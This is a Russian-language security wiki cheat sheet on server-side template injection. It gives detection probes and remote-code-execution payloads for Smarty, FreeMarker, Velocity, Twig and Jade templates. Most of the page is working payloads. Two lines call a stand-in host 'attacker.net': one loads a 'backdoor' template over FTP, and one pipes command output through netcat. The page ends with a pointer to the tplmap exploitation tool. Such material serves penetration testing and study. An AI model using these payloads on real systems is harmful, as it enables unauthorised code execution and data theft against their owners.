TemplateInj
Материал из InformationSecurity WIKI
Версия от 14:55, 30 июня 2018; Drakylar (обсуждение | вклад)
Содержание
Обнаружение уязвимости
Определение обработчика шаблонов
Jade:
1 = 7*7
Эксплуатация
Smarty Engine
Вызов переменной
1 {user.name}
1 ${username}
RCE
1 {php}echo `id`;{/php}
1 <%
2 import os
3 x=os.popen('id').read()
4 %>
5 ${x}
FreeMarker
Используется в Java
RCE
1 <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
Velocity
Используется в Java и C#
RCE
Blind
1 $class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()
Viewed
1 #set($str=$class.inspect("java.lang.String").type)
2 #set($chr=$class.inspect("java.lang.Character").type)
3 #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
4 $ex.waitFor()
5 #set($out=$ex.getInputStream())
6 #foreach($i in [1..$out.available()])
7 $str.valueOf($chr.toChars($out.read()))
8 #end
Twig
Используется в PHP
RCE
allow_url_include
С включенным allow_url_include (проверить можно в phpinfo() ).
1 {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
Other
1 {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Вызов уязвимого метода
Sandbox
1 {{_self.displayBlock("id",[],{"id":[userObject,"vulnerableMethod"]})}}
Jade
RCE
1 - var x = root.process
2 - x = x.mainModule.require
3 - x = x('child_process')
4 = x.exec('id | nc attacker.net 80')
Примеры
Ссылки
tplmap - утилита для эксплуатации